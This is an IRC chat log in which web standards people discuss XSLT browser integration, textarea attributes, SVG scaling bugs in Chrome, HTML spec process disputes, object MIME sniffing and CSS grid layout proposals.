/me read that as "The Power of *Marcos*" and laughed. Then realised it said Macros.

[07:38:00.0000] <Philip`>
jgraham: That's why browser engines written in languages other than C/C++ have all been so successful

[07:38:01.0000] <hsivonen>
aside: the level of XSLT integration to the rest of the Open Web Platform is rather sad

[07:39:00.0000] <hsivonen>
non-Gecko browsers do it the ugly way

[07:39:01.0000] <jgraham>
hsivonen: In what way?

[07:39:02.0000] <hsivonen>
and Gecko does the nice thing in an approximate way

[07:40:00.0000] <jgraham>
Maybe no one was really feeling XSLT?

[07:40:01.0000] <hsivonen>
jgraham: in non-Gecko browsers <?xml-stylesheet?> produces a stream that gets reparsed

[07:40:02.0000] <hsivonen>
that's sad considering that it's a tree-to-tree tranformation system

[07:41:00.0000] <hsivonen>
jgraham: then Gecko does the tree-to-tree thing but has all sorts of approximate hacks for being compatible *enough* with the stream-based way

[07:41:01.0000] <jgraham>
I wonder if the stream-based way is much faster

[07:41:02.0000] <jgraham>
Anyway, the solution is probably not to use XSLT

[07:42:00.0000] <jgraham>
It would be nice if we cou nudge it off the edge of the open-web-platform

[07:42:01.0000] <jgraham>
*could

[07:43:00.0000] <hsivonen>
for example, compat requires scripts to execute in order, but Gecko can't suspend the XSLT engine in mid-transform, so you can't just use the parser-blocking script mechanism as is

[07:43:01.0000] <hsivonen>
instead, there's something else

[07:43:02.0000] <hsivonen>
and a hope that the script authors don't really rely on being able to see more future DOM than they should

[07:44:00.0000] <hsivonen>
part of the problem is that Hixie doesn't seem to be considering XSLT actively when writing the spec

[07:44:01.0000] <hsivonen>
so if I read the spec and write code, some time later someone tells me I broke XSLT again

[07:45:00.0000] <hsivonen>
which also means we don't have enough automated test coverage for XSLT integration with the rest of the platform

[07:45:01.0000] <hsivonen>
jgraham: shouldn't one expect the stream-based way to be *slower*?

[07:46:00.0000] <jgraham>
hsivonen: Well it isn't really clear. I suppose it depends what you can optimise in the two cases

[07:47:00.0000] <hsivonen>
by stream-based, I mean the XSLT engine serializes its output tree and the HTML parser parses the stream into a DOM

[07:47:01.0000] <hsivonen>
instead of the XSLT engine building an output DOM directly

[07:49:00.0000] <jgraham>
Right, but doing dom manipulations could be expensive compared to just parsing, whereas you could use something more lightweight than DOM within the XSLT engine itself. I'm not sure.

[07:54:00.0000] <hsivonen>
jgraham: well, the parser has to be able to build a DOM, too

[07:55:00.0000] <hsivonen>
though in Gecko, the parsers use notify layout in batches but the XSLT engine notifies on a per-node basis

[07:55:01.0000] <Philip`>
Perhap serialising+parsing is likely to be much more heavily optimised than XSLT-specific DOM construction code, since it's reusing code that the rest of the browser already wants to be fast, whereas nobody's going to spend much time optimising XSLT since it's so rarely used

[08:05:00.0000] <Xano_>
/me leaves his shoes and sense of logic at the door, and calmly walks in

[08:05:01.0000] <Xano_>
adactio: Just read your book this morning. Nice writing style, but I only have more questions :P

[08:05:02.0000] <jgraham>
I would put your shoes back on if I were you

[08:06:00.0000] <Xano_>
jgraham: It's that dirty in here?

[08:06:01.0000] <Xano_>
oh my

[08:06:02.0000] <jgraham>
Some of the things on the carpet you don't want to step in

[08:06:03.0000] <adactio>
Xano_: Well, it's good that you have questions. The people here will be able to help you, shoes or no shoes.

[08:06:04.0000] <Xano_>
hehe

[08:07:00.0000] <Xano_>
I was wondering why there is still such a distinct separation in functionality between textareas and text inputs.

[08:07:01.0000] <AryehGregor>
No shoes, no shirt, no service!

[08:07:02.0000] <Xano_>
AryehGregor: Got a shirt and a tie! :D

[08:07:03.0000] <annevk>
majority of failed requests on my site are apparently /apple-touch-icon.png and /apple-touch-icon-precomposed.png -- way to go Apple

[08:07:04.0000] <AryehGregor>
Xano_, because that's how it was designed by whoever made up text inputs and textareas, and we can't change it now?

[08:08:00.0000] <AryehGregor>
Note: the above is the correct answer to most "why" questions about the web.

[08:08:01.0000] <Xano_>
hehe, I figured

[08:08:02.0000] <Xano_>
Well, textareas could've been removed, but recalling the dozens of "paving the cowpaths" quotes from a certain book about HTML5 doesn't make that option very appealing

[08:09:00.0000] <Xano_>
What *does* strike me as odd is that there (afaics) has been no effort to make the two elements behave more similarly, which could've been done without losing backwards compatibility

[08:09:01.0000] <annevk>
align them more in what way?

[08:09:02.0000] <annevk>
API-wise they are pretty similar actually

[08:10:00.0000] <annevk>
<textarea> even has .type

[08:10:01.0000] <Xano_>
As as I have been able to find there is no datalist for textareas, no maxlength and size for text inputs and cols for textareas behave similarly, yet are two different attributes

[08:11:00.0000] <adactio>
Actually, on the subject of textareas, I came across an interesting browser support issue today: it seems that Mobile Safari doesn't currently support the placeholder attribute on textarea (although the desktop version does).

[08:13:00.0000] <Xano_>
Wait, there is size for text inputs

[08:13:01.0000] <AryehGregor>
Xano_, maxlength works on text inputs and textareas.

[08:13:02.0000] <Xano_>
Why did I write that?

[08:13:03.0000] <AryehGregor>
And size also.

[08:13:04.0000] <AryehGregor>
Actually, maxlength on textareas is an HTML5 innovation, brings it closer to input.

[08:13:05.0000] <AryehGregor>
(I implemented it for Firefox, yay)

[08:13:06.0000] <AryehGregor>
(It was like five lines)

[08:13:07.0000] <Xano_>
There is? Nice!

[08:13:08.0000] <annevk>
adactio, <textarea placeholder> is a pretty recent addition

[10:25:00.0000] <hsivonen>
/me finds https://twitter.com/#!/HTML_longdesc

[10:28:00.0000] <Philip`>
/me curses his inability to double-click on such URLs to select them

[10:28:01.0000] <Philip`>
(The selection stops before the "!")

[10:34:00.0000] <jgraham>
You know, there is probably something more tragic than pretending to be an unused HTML attribute on twitter but I can't think of it now

[10:35:00.0000] <annevk>
using it

[10:36:00.0000] <annevk>
*zing*

[11:11:00.0000] <JonathanNeal>
Have any changes occured to the presentational requirements and recommendations in the last month or so?

[11:11:01.0000] <JonathanNeal>
I'm making sure http://www.iecss.com/whatwg.css is up to date.

[11:12:00.0000] <annevk>
misses <s>?

[11:23:00.0000] <JonathanNeal>
annevk, I think you're right, I did miss it.  Is it missing from http://www.whatwg.org/specs/web-apps/current-work/multipage/rendering.html#the-css-user-agent-style-sheet-and-presentational-hints too ?

[11:25:00.0000] <JonathanNeal>
I've added it in, since <s> is in the cut @ http://www.whatwg.org/specs/web-apps/current-work/multipage/text-level-semantics.html#the-s-element

[11:27:00.0000] <JonathanNeal>
nope, it's there in presentational hints: del, s, strike

[11:27:01.0000] <JonathanNeal>
huh

[11:29:00.0000] <JonathanNeal>
annevk, was <s> cut at one point? http://en.wikipedia.org/wiki/HTML5#Differences_from_HTML_4.01_and_XHTML_1.x "Deprecated elements will be dropped altogether: acronym, applet, basefont, big, center, dir, font, frame, frameset, isindex, noframes, s, strike, tt, u"

[11:30:00.0000] <JonathanNeal>
And I think they got that from http://dev.w3.org/html5/html4-differences/#absent-elements

[11:37:00.0000] <AryehGregor>
JonathanNeal, yes, it was only just re-added.

[11:37:01.0000] <JonathanNeal>
Thanks AryehGregor, were any other elements added / removed?

[11:39:00.0000] <AryehGregor>
karlcow, someone ran a script on Wikipedia once that concluded // URLs work well in practice.  It tried loading something via // URL and via normal URL and counted the differences in hit rate, it wasn't much.  Wikimedia has been meaning to use it for its sites when it finally gets HTTPS working on the same domains as HTTP, since its server infrastructure caches page text very heavily and we don't want to cache separate copies for http and htt

[11:39:01.0000] <AryehGregor>
ps.

[11:39:02.0000] <AryehGregor>
Specifically, we would want to use src="//upload.wikimedia.org/..." for files.  For regular old links we already use relative URLs anyway.

[11:40:00.0000] <kennyluck>
Huh? <s> is out again?

[11:40:01.0000] <AryehGregor>
(of course, https://upload.wikimedia.org doesn't work at all and there are in fact no secure ways to get files, so even if you use https://secure.wikimedia.org/ anyone could still cross-check all your image requests against the articles containing those images and they'll know what you're viewing, unless you disable images, but they won't get your cookies, since no cookies are set on upload.wikimedia.org)

[11:41:00.0000] <AryehGregor>
(but this is something that ideally we should fix)

[11:41:01.0000] <AryehGregor>
kennyluck, no, it's recently back in.

[11:41:02.0000] <AryehGregor>
JonathanNeal, the HTML 4 differences spec should have an accurate list, possibly modulo very recent changes like <s> being re-added.

[11:41:03.0000] <JonathanNeal>
thanks

[11:42:00.0000] <kennyluck>
OK I found it. Yeah, I know it was back recently but since someone asks, I thought it is out again.

[11:42:01.0000] <annevk>
html5-diff on TR/ is actually more up to date for a change

[11:42:02.0000] <annevk>
because I haven't bothered committing a local fix

[11:48:00.0000] <karlcow>
AryehGregor: thanks. 

[11:49:00.0000] <karlcow>
thing which bothers me with "//" is that I remember Tim telling me about it a few years ago, but I didn't remember last year when we had a performance issues for a client due to users having to switch http-https contexts

[12:22:00.0000] <Darxus>
Where does it say that an SVG object should, by default, be scaled up to the maximum size that fits in its container?  Chrome seems to not be doing this.

[12:39:00.0000] <AryehGregor>
Darxus, it doesn't say that anywhere.

[12:39:01.0000] <AryehGregor>
If it has an intrinsic size, it should be displayed like that.  If not, there's some default, like 300x150 px or something IIRC.

[12:40:00.0000] <AryehGregor>
Do you have a specific test case that different browsers display differently?

[12:51:00.0000] <Darxus>
AryehGregor: Yes, the graphs on this page:  http://www.chaosreigns.com/dnswl/

[12:52:00.0000] <Darxus>
Firefox displays them the full width of the page, as I want.  Chrome displays them tiny.

[12:53:00.0000] <AryehGregor>
I'm not an expert on this, but it looks to me that Chrome is right.

[12:53:01.0000] <AryehGregor>
300x150 since there's no size specified.

[12:53:02.0000] <AryehGregor>
I don't know what's wrong with Firefox.

[12:54:00.0000] <AryehGregor>
Setting width:100% doesn't seem to make Chrome actually do that, though.

[12:54:01.0000] <AryehGregor>
So it seems to be buggy too.

[12:54:02.0000] <AryehGregor>
Not totally sure here.

[12:55:00.0000] <AryehGregor>
Chrome only displays it right if you give explicit height and width, it looks like.

[12:55:01.0000] <AryehGregor>
Dunno why.  Does it not have an intrinsic aspect ratio either?

[12:55:02.0000] <karlcow>
Darxus: what do you use to call the SVG? object element or something else.

[12:56:00.0000] <AryehGregor>
Chrome seems very buggy.

[12:56:01.0000] <AryehGregor>
karlcow, object in this case, see link.

[12:56:02.0000] <AryehGregor>
In fact, Chrome just gave me a sad tab.

[12:56:03.0000] <Darxus>
karlcow: Currently object.

[12:57:00.0000] <Adawerk```>
try giving the svg a fixed h/w

[12:57:01.0000] <karlcow>
I have not checked what html5 was saying about object. HTML4/XHTML 1.0 was not always clear http://www.w3.org/QA/2004/02/object/object-test-case

[12:58:00.0000] <AryehGregor>
This is handled by CSS.

[12:58:01.0000] <Darxus>
The .svg file starts with '<svg viewBox="0 0 1024 768"', so there is an aspect ratio defined.

[12:59:00.0000] <Darxus>
Oh that's interesting.  I just specified 'width="800"' and then Chrome moved the location of the image, keeping it small, and then crashed.

[12:59:01.0000] <karlcow>
yoohoo

[12:59:02.0000] <Darxus>
I.. expected that to work.

[13:00:00.0000] <Darxus>
I think it centered the thumbnail in the 800 pixel width.

[13:00:01.0000] <AryehGregor>
Yeah, Chrome is crazy here.

[13:00:02.0000] <AryehGregor>
Dunno what it's smoking.

[13:00:03.0000] <Darxus>
Heh.

[13:00:04.0000] <Darxus>
So... I don't even know what the appropriate behavior is to report a bug...

[13:00:05.0000] <Darxus>
What way(s) should I be able to tell chrome to make the .svg the width of its container?

[13:01:00.0000] <Darxus>
I also tried specifying a width of 100% as a css property of object.

[13:02:00.0000] <Darxus>
It looks like nothing supports specifying an objects width as a percentage as an attribute of the entity?

[13:02:01.0000] <Adawerk```>
do you have firebug installed ?

[13:03:00.0000] <karlcow>
http://dev.w3.org/html5/spec/the-iframe-element.html#the-object-element

[13:03:01.0000] <Darxus>
Adawerk```: No.

[13:03:02.0000] <AryehGregor>
<object style="width: 100%"> should work correctly AFAIK, but seems not to in Chrome.

[13:04:00.0000] <Darxus>
Thanks.

[13:05:00.0000] <AryehGregor>
Have you tried using <img>?

[13:05:01.0000] <karlcow>
>The two attributes must be omitted if the resource in question does not have both an intrinsic width and an intrinsic height. -- http://dev.w3.org/html5/spec/the-map-element.html#attr-dim-width

[13:05:02.0000] <AryehGregor>
That won't work in Firefox < 4, though.

[13:05:03.0000] <Darxus>
AryehGregor: Yes, one of them (firefox?) won't load a .svg as an <img>.

[13:05:04.0000] <AryehGregor>
Only Firefox, and only < 4.

[13:05:05.0000] <AryehGregor>
(plus ancient versions of other browsers, I guess)

[13:05:06.0000] <karlcow>
it doesn't make sense. Or I'm not parsing the sentence correctly

[13:05:07.0000] <AryehGregor>
karlcow, what's wrong with it?

[13:06:00.0000] <Darxus>
Firefox < 4 is the version in the only release of Ubuntu that has been out more than a few weeks.  Seems worth supporting.

[13:06:01.0000] <AryehGregor>
"If 'height' and 'width' both have computed values of 'auto' and the element has an intrinsic ratio but no intrinsic height or width and the containing block's width does not itself depend on the replaced element's width, then the used value of 'width' is calculated from the constraint equation used for block-level, non-replaced elements in normal flow." http://www.w3.org/TR/CSS21/visudet.html#inline-replaced-width

[13:06:02.0000] <AryehGregor>
Hmm, what does that mean?

[13:06:03.0000] <AryehGregor>
Maybe Firefox is right.

[13:06:04.0000] <AryehGregor>
Darxus, yeah, Firefox 4 is still beta.

[13:07:00.0000] <karlcow>
width and height must be omitted if the resource itself doesn't size values… then there is no value defined anywhere. I must be missing something 

[13:07:01.0000] <AryehGregor>
karlcow, correct, then there's no value defined anywhere.

[13:07:02.0000] <karlcow>
s/size/have size/

[13:07:03.0000] <AryehGregor>
width and height in HTML are only hints so that the UA knows the size before it loads the resource.

[13:07:04.0000] <Darxus>
Well, it's nice to know .svg will be supported as an <img> soon.

[13:07:05.0000] <AryehGregor>
http://www.w3.org/TR/CSS21/visudet.html#blockwidth

[13:07:06.0000] <AryehGregor>
Okay, it looks like Firefox is correct here.

[13:07:07.0000] <AryehGregor>
I should have guessed.  :P

[13:07:08.0000] <AryehGregor>
I think.

[13:08:00.0000] <AryehGregor>
It looks like with an explicit ratio but no explicit height/width, it should just fill the width of the containing block.

[13:08:01.0000] <AryehGregor>
Hmm.

[13:08:02.0000] <AryehGregor>
Not sure about "the containing block's width does not itself depend on the replaced element's width".

[13:09:00.0000] <AryehGregor>
I guess it doesn't in this case.

[13:09:01.0000] <AryehGregor>
Anyway, Chrome is obviously braindead here, either way.

[13:09:02.0000] <karlcow>
AryehGregor: but in the case of SVG would not that be precisely helpful to rely on width and height in the markup if there is no intrinsic size (defined). 

[13:09:03.0000] <Darxus>
Any of you more familiar with the details than me want to file the bug?

[13:09:04.0000] <AryehGregor>
karlcow, no, you should use CSS then.

[13:09:05.0000] <karlcow>
hmmm…

[13:10:00.0000] <AryehGregor>
Darxus, I think you can file bugs against Chrome pointing out their obviously crazy behavior for <object style="width:100%">, and pointing out the crash.

[13:10:01.0000] <AryehGregor>
Although probably both are actually WebKit bugs.

[13:10:02.0000] <Darxus>
AryehGregor: Sure, and I will if you guys don't, I'm just thinking one of you might manage a more useful report.

[13:11:00.0000] <karlcow>
I guess if people can tweak width and height then the CMS will not remove the style attribute. 

[13:11:01.0000] <AryehGregor>
CMS?

[13:12:00.0000] <karlcow>
AryehGregor: I imagine a case where people use CMS to edit content and having sanitization filters in place. 

[13:13:00.0000] <AryehGregor>
What does that have to do with what we were talking about?

[13:13:01.0000] <AryehGregor>
Oh, a CMS that allows width/height but not style?

[13:13:02.0000] <AryehGregor>
Possible, yeah.

[13:13:03.0000] <karlcow>
trying to find out if there would be case where people could only edit width and height attribute on the markup and no access to the style attribute. But that seems to be unlikely

[14:06:00.0000] <annevk>
http://blog.reddit.com/2010/10/everything-you-need-to-know-about.html fun

[15:01:00.0000] <hober>
http://lists.w3.org/Archives/Public/public-html-diffs/2010Oct/0158.html

[15:10:00.0000] <annevk>
euh edit wars?

[15:11:00.0000] <annevk>
what a circus

[15:12:00.0000] <Philip`>
"This is an out-of-date editor's draft. Please see [an outdated working draft]."

[15:13:00.0000] <annevk>
very meta

[15:14:00.0000] <Philip`>
(and that working draft is at least 4 months older than any editor's draft which that warning will appear in)

[15:16:00.0000] <annevk>
oh hahaha

[15:16:01.0000] <annevk>
he updated to point to the one before we just published

[15:17:00.0000] <Dashiva>
"This is a processed version of the source. It is most certainly out of date. Please learn to parse the source in your head and read that instead."

[15:17:01.0000] <annevk>
clearly it is time to make a SERIOUS PROTEST

[15:19:00.0000] <annevk>
OFFICIAL PROTEST, even

[15:19:01.0000] <Darxus>
width:100% should scale height proportionally, right?

[15:27:00.0000] <Darxus>
This is the bug I submitted about chrome's failure to handle <object style="width:100%">: https://bugs.webkit.org/show_bug.cgi?id=48466  

[15:32:00.0000] <jamesr_>
webkit doesn't handle percentage width/height on replaced elements in all cases currently

[15:35:00.0000] <Darxus>
Replaced elements?

[15:49:00.0000] <jamesr_>
http://www.w3.org/TR/CSS21/conform.html ctrl-f for 'replaced element'

[16:10:00.0000] <shepazu>
Darxus, karlcow, do you think it would be useful for SVG 2 to have an 'autoscaling' attribute on the root that will indicate that @width and @height determine the aspect ratio, but that the image will fill the available viewport (rather than using @viewBox)?

[16:17:00.0000] <heycam>
shepazu, would that be any different from <svg width="100%" height="100%" viewBox="0 0 w h">?

[16:20:00.0000] <shepazu>
heycam: effectively, it would be the same, but I've heard a lot of feedback that that is unintuitive to many people... they like @width and @height to be the intrinsic dimensions, rather than 100%

[16:21:00.0000] <heycam>
i see

[16:22:00.0000] <shepazu>
heycam: so, it would be <svg width="600" height="400" autoscale="scale"> or something

[16:22:01.0000] <shepazu>
@scale="auto | none", maybe

[16:22:02.0000] <shepazu>
I don't care much what the syntax would be

[16:24:00.0000] <shepazu>
I think that would make the dimension negotiation easier

[16:25:00.0000] <shepazu>
AryehGregor: what do you think of this idea ^^ ?

[16:27:00.0000] <heycam>
shepazu, easier for the author? might do.

[16:45:00.0000] <Philip`>
http://dev.w3.org/cvsweb/html5/spec/spec.html#rev1.1318 - ah, so now the process arguments expand into the CVS log

[16:47:00.0000] <othermaciej>
/me hates process arguments

[16:51:00.0000] <Philip`>
It becomes both hard to follow and hard to avoid when discussions get spread across public-html, Bugzilla, IRC, Twitter, and CVS

[16:51:01.0000] <Philip`>
Someone needs to find a way to make communication in the modern world much easier :-(

[16:51:02.0000] <shepazu>
othermaciej: you should write up a document that dictates how to manage process arguments

[16:51:03.0000] <othermaciej>
but then we'd need to get approval on that document

[16:52:00.0000] <shepazu>
then we could argue about that instead

[16:52:01.0000] <shepazu>
othermaciej: everything is solved by adding another level of abstraction :P

[16:52:02.0000] <othermaciej>
I think that might exceed my meta limit

[16:53:00.0000] <shepazu>
Philip`: wasn't that what Wave was about?

[16:53:01.0000] <shepazu>
/me still likes the idea of Wave

[16:53:02.0000] <Philip`>
Someone needs to find a way to make communication in the modern world much easier without having weirdo scrollbars

[16:54:00.0000] <shepazu>
Philip`: yeah, I think the fatal flaw was that it was too closely yoked to that single implementation

[16:54:01.0000] <shepazu>
but I really like distributed federated info streams

[16:54:02.0000] <shepazu>
/me isn't sure that he actually just said anything

[16:55:00.0000] <shepazu>
leverage the optimization of the ROI on Ajax and HTML5


2010-10-28
[18:16:00.0000] <karlcow>
shepazu: I guess it seems unspecified for some people and then have to rely to an explicit size. I wonder if it's good or not to have a default behavior. Still thinking. 

[19:10:00.0000] <karlcow>
TPAC will be an "interesting" time of discussions

[01:32:00.0000] <zcorpan>
i've never heard of window.find

[01:36:00.0000] <hsivonen>
zcorpan: what does it do?

[01:36:01.0000] <zcorpan>
https://developer.mozilla.org/en/DOM/window.find 

[01:39:00.0000] <hsivonen>
I wonder if searches cross-origin iframes, too

[01:42:00.0000] <zcorpan>
http://software.hixie.ch/utilities/js/live-dom-viewer/saved/688

[01:58:00.0000] <wirepair>
don't think so, i think i tested that lat year

[01:58:01.0000] <wirepair>
err last

[02:08:00.0000] <jgraham>
In case anyone is listening, +1 to zcorpan 

[02:08:01.0000] <jgraham>
A warning just at the top is useless

[02:09:00.0000] <gsnedders>
A warning just at the top?

[02:09:01.0000] <jgraham>
I would expect it not to have helped in most of the cases I have seen where people have used an old version of the spec

[02:09:02.0000] <gsnedders>
on public-html?

[02:10:00.0000] <jgraham>
gsnedders: Yes, we know you stopped reading it

[02:10:01.0000] <zcorpan>
hmm stopping reading public-html sounds attractive

[02:11:00.0000] <zcorpan>
doesn't do my day to read about OFFICIAL WHININGS

[02:14:00.0000] <jgraham>
Well it is pretty easy to ignore then

[02:14:01.0000] <jgraham>
*them

[02:15:00.0000] <jgraham>
Once you ignore the people who are just moaning about process there is hardly anything left to read

[02:15:01.0000] <gsnedders>
jgraham, zcorpan: Well, I have stopped reading whatwg too. At least at all closely.

[02:15:02.0000] <jgraham>
gsnedders: We know that too

[02:15:03.0000] <jgraham>
You say it about once a week

[02:15:04.0000] <jgraham>
:p

[02:40:00.0000] <TabAtkins>
Jeezus I am muting the *crap* out of the warning thread.

[02:43:00.0000] <hsivonen>
TabAtkins: well, it seems to me that Hixie should have seen this coming and it was blatantly unproductive to put a warning like that in the draft

[02:43:01.0000] <TabAtkins>
Man, I don't even care about that.  I care about the fact that we have significant chatter going on between *adults* on whether it's appropriate to mark up the warning with an <em> or not.

[02:44:00.0000] <zcorpan>
maybe Hixie was placing bets on how long it would take until the shit hit the fan

[02:45:00.0000] <TabAtkins>
If so, I hope he won, because the rest of us lose.  >_<

[02:45:01.0000] <hsivonen>
TabAtkins: I haven't read far enough to reach an <em> debate

[02:45:02.0000] <TabAtkins>
Dammit why doesn't muting work.

[02:46:00.0000] <hsivonen>
TabAtkins: you need (CA-3) Support separate volume control of the different audio tracks. 

[02:46:01.0000] <TabAtkins>
Heh.

[02:51:00.0000] <jgraham>
I was quite surprised that Sicking posted that about <em>

[02:52:00.0000] <jgraham>
Oh and I agree with hsivonen about the media thing fwiw

[02:52:01.0000] <jgraham>
It doesn't seem to have changed substantially since it was last discussed here and we were told it was about to change substantially

[02:52:02.0000] <sicking>
jgraham: i know, it's really a too silly discussion to get involved with

[02:52:03.0000] <TabAtkins>
Bad sicking!

[02:53:00.0000] <sicking>
i'm just surprised when accessibility experts advocate misusing semantic elements in the name of accessibility

[02:53:01.0000] <sicking>
it's shocking that AT doesn't support <em>

[02:53:02.0000] <sicking>
no wonder the state of accessibility is so poor if we have to keep working around such AT vendors

[03:03:00.0000] <annevk>
the edit wars continued through the night

[03:03:01.0000] <annevk>
oh god

[03:04:00.0000] <gsnedders>
Hmm, HTML5 requires object@data served as image/* gets sniffed. Opera doesn't.

[03:05:00.0000] <gsnedders>
/me is unaware of anything needing it to be sniffed…

[03:14:00.0000] <zcorpan>
sniffed for what?

[03:18:00.0000] <annevk>
e.g. that image/png can carry image/gif

[03:18:01.0000] <annevk>
I suspect

[03:18:02.0000] <gsnedders>
Yeah

[03:18:03.0000] <zcorpan>
opera doesn't do that?

[03:18:04.0000] <gsnedders>
Oh, wait, I'm being dumb

[03:19:00.0000] <gsnedders>
/me is getting stuff mixed up in his mind

[03:20:00.0000] <gsnedders>
What we don't sniff is object served as text/plain

[03:20:01.0000] <gsnedders>
The spec seems to fail to set the resource type in that case

[03:21:00.0000] <zcorpan>
does the spec match mozilla?

[03:21:01.0000] <gsnedders>
http://www.whatwg.org/specs/web-apps/current-work/#the-object-element 4.7.4.4

[03:21:02.0000] <gsnedders>
It defines resource type when binary is false, but not when it is true

[03:21:03.0000] <gsnedders>
zcorpan: I think the spec doesn't say.

[03:21:04.0000] <gsnedders>
And then in 4.8 you then have an undefined variable.

[03:22:00.0000] <gsnedders>
Oh, it's set initially to unknown

[03:22:01.0000] <zcorpan>
/me decides to not try to follow

[03:23:00.0000] <gsnedders>
Look at the spec.

[03:23:01.0000] <gsnedders>
You have a PNG served as text/plain.

[03:23:02.0000] <gsnedders>
What happens?

[03:32:00.0000] <zcorpan>
uh, yeah, it gets sniffed as application/octet-stream by MIMESNIFF and thus sets binary to true, but doesn't say what happens next

[03:33:00.0000] <zcorpan>
or step 8 goes to the Otherwise case

[03:33:01.0000] <gsnedders>
falls into the otherwise case, no?

[03:33:02.0000] <gsnedders>
Which matches nothing.

[03:34:00.0000] <zcorpan>
right

[03:34:01.0000] <zcorpan>
file a bug

[03:34:02.0000] <gsnedders>
Yeah, was going to once someone checked I wasn't being silly. :)

[03:35:00.0000] <zcorpan>
wait, doesn't it match "If the resource type is an XML MIME type, or if the resource type does not start with "image/"" ?

[03:37:00.0000] <gsnedders>
I wasn't sure.

[03:37:01.0000] <zcorpan>
application/octet-stream is a type that does not start with "image/"

[03:38:00.0000] <gsnedders>
How is application/octet-stream the value of resource-type?

[03:39:00.0000] <gsnedders>
Like, where does "resource type" get set apart from to unknown?

[03:40:00.0000] <zcorpan>
"resource type" seems to be set by type=""

[03:41:00.0000] <zcorpan>
and the file extension

[03:42:00.0000] <gsnedders>
If you have <object data="data:text/plain,%89PNG…"></object>

[03:42:01.0000] <zcorpan>
so in our case it seems to be "unknown"

[03:42:02.0000] <gsnedders>
Indeed.

[03:43:00.0000] <zcorpan>
though "unknown" also doesn't start with "image/" :)

[03:43:01.0000] <gsnedders>
Indeed :)

[04:11:00.0000] <hsivonen>
whoa. Using CVS access to commit changes to a draft one isn't an editor of strikes me as a very bad idea despite good intentions.

[04:15:00.0000] <jgraham>
Well, yes

[04:43:00.0000] <annevk>
"OFFICIAL WHININGS" haha

[04:43:01.0000] <annevk>
I find myself deleting most email on public-html these days

[04:51:00.0000] <nessy>
I find them an amusing read ;)

[04:51:01.0000] <jgraham>
I wonder if I should start prefixing all my email with the word "OFFICIAL"

[04:51:02.0000] <heycam>
i do like me some html5 drama, bur even for me i'm finding this latest episode a little tiresome

[04:51:03.0000] <jgraham>
"OFFICIAL TECHNICAL QUESTION"

[04:53:00.0000] <annevk>
EXPERT OFFICIAL TECHNICAL QUESTION

[04:53:01.0000] <annevk>
doh

[04:54:00.0000] <annevk>
don't fuck with the experts of this world

[04:54:01.0000] <annevk>
they will come to get you

[04:58:00.0000] <jgraham>
On the other hand if you just fuck the experts of the world, in a few years you might have expert progeny who you can train up to use their expert superpowers for good

[04:58:01.0000] <jgraham>
/me is assuming expertness is an inherited quality goverened by the rules of genetics

[04:59:00.0000] <annevk>
i take it you saw one of these superhero movies recently?

[05:42:00.0000] <zcorpan>
hmm, the "Errors that result in disproportionally poor performance" example seems to not be a very good example... http://www.whatwg.org/specs/web-apps/current-work/#syntax-errors

[05:42:01.0000] <zcorpan>
since the conforming alternative also has to check all open elements (once for each end tag)

[05:44:00.0000] <zcorpan>
and the shorter markup might be a perf win if the network is the slow part

[06:39:00.0000] <jgraham>
Is it ever possible for an implied token to cause a "reprocess the token" to occur?

[06:46:00.0000] <payman_m>
e

[06:48:00.0000] <jgraham>
π

[06:49:00.0000] <zcorpan>
jgraham: well for e.g. "<p>" the spec implies <head> and then reprocesses <p>, which then implies </head> and then reprocesses <p>, etc

[06:49:01.0000] <jcranmer>
e^(πi)

[06:51:00.0000] <zcorpan>
jgraham: though i guess the implied token doesn't directly cause the reprocess

[06:51:01.0000] <jgraham>
Right, the implied <head> is not itself reprocessed

[06:53:00.0000] <annevk>
2+2

[07:00:00.0000] <jgraham>
Specifically the invariant I wonder about is whether all "reprocess the token" calls are the last thing that happens when you process a given token, so it is equivalent to just spinning the loop with the token

[07:00:01.0000] <jgraham>
again

[07:00:02.0000] <jgraham>
The obvious way this could break is if token A implies token B which is reprocessed before something else is done with token A

[07:39:00.0000] <karlcow>
public-html needs an audio stylesheet tuned on Bob Marley

[07:40:00.0000] <Rik`>
I shot the sheriff ?

[07:41:00.0000] <micheil>
anyone looked at MS's new grid css proposal?

[07:41:01.0000] <karlcow>
micheil: in which terms

[07:42:00.0000] <micheil>
it's up on the W3c pages.. ppk linked to it this morning

[07:42:01.0000] <karlcow>
I have seen the document and it looks interesting. It should be compared with other proposals. Daniel Glazman said that it would be a topic of discussions during TPAC next week.

[07:42:02.0000] <micheil>
oh, nice

[07:43:00.0000] <micheil>
I'm wondering how margins factor in

[07:43:01.0000] <karlcow>
http://twitter.com/glazou/status/28976363531

[07:43:02.0000] <micheil>
and also thinking that 1fr should be replaced with percentages

[07:43:03.0000] <karlcow>
http://twitter.com/robinberjon/status/28976239926

[07:43:04.0000] <Rik`>
with flex box, grid positionning, template layout and grid align, that makes 4 "layout" related stuff

[07:44:00.0000] <Rik`>
only one of them has some implementations

[07:44:01.0000] <micheil>
I think the template layout stuff (if that was the "a b b c" stuff) was kinda bad

[07:44:02.0000] <micheil>
I haven't seen flex box or grid positionning

[07:44:03.0000] <Rik`>
I like the ASCII art idea

[07:45:00.0000] <Rik`>
very visual

[07:45:01.0000] <karlcow>
http://www.w3.org/TR/css3-grid/

[07:45:02.0000] <micheil>
yeah, but doens't feel write for css

[07:45:03.0000] <Rik`>
I wish microsoft came with a build of IE supporting their proposal

[07:46:00.0000] <karlcow>
http://www.w3.org/TR/css3-flexbox/

[07:46:01.0000] <micheil>
Rik`: I'm interested in see the language look right in this case before a supporting demo

[07:46:02.0000] <micheil>
websockets are slightly different in that respect

[07:46:03.0000] <micheil>
(because you're not hand-writing network packets, yet you probably hand-write css)

[07:46:04.0000] <Rik`>
without a supporting demo, you can't feel if the language is right

[07:47:00.0000] <micheil>
Rik`: well, I'm sure any front end developer knows what they would want

[07:47:01.0000] <micheil>
and currently the new MS grids thing is pretty much that.

[07:47:02.0000] <micheil>
(for me)

[07:47:03.0000] <karlcow>
http://www.interoperabilitybridges.com/css3-grid-align/

[07:47:04.0000] <karlcow>
at least 3

[07:48:00.0000] <karlcow>
I don't remember if there are more

[07:48:01.0000] <Rik`>
karlcow: template layout

[07:48:02.0000] <karlcow>
ah yes indeed

[07:48:03.0000] <Rik`>
http://www.w3.org/TR/css3-layout/

[07:48:04.0000] <micheil>
I think flexbox is different

[07:49:00.0000] <Rik`>
micheil: I'm not sure front-end developers know exactly what they want

[07:49:01.0000] <micheil>
flexbox feels more like mozila's <hbox> <vboz> xul stuff

[07:49:02.0000] <karlcow>
yep

[07:49:03.0000] <micheil>
Rik`: it'd be an idea to ask them somehow then

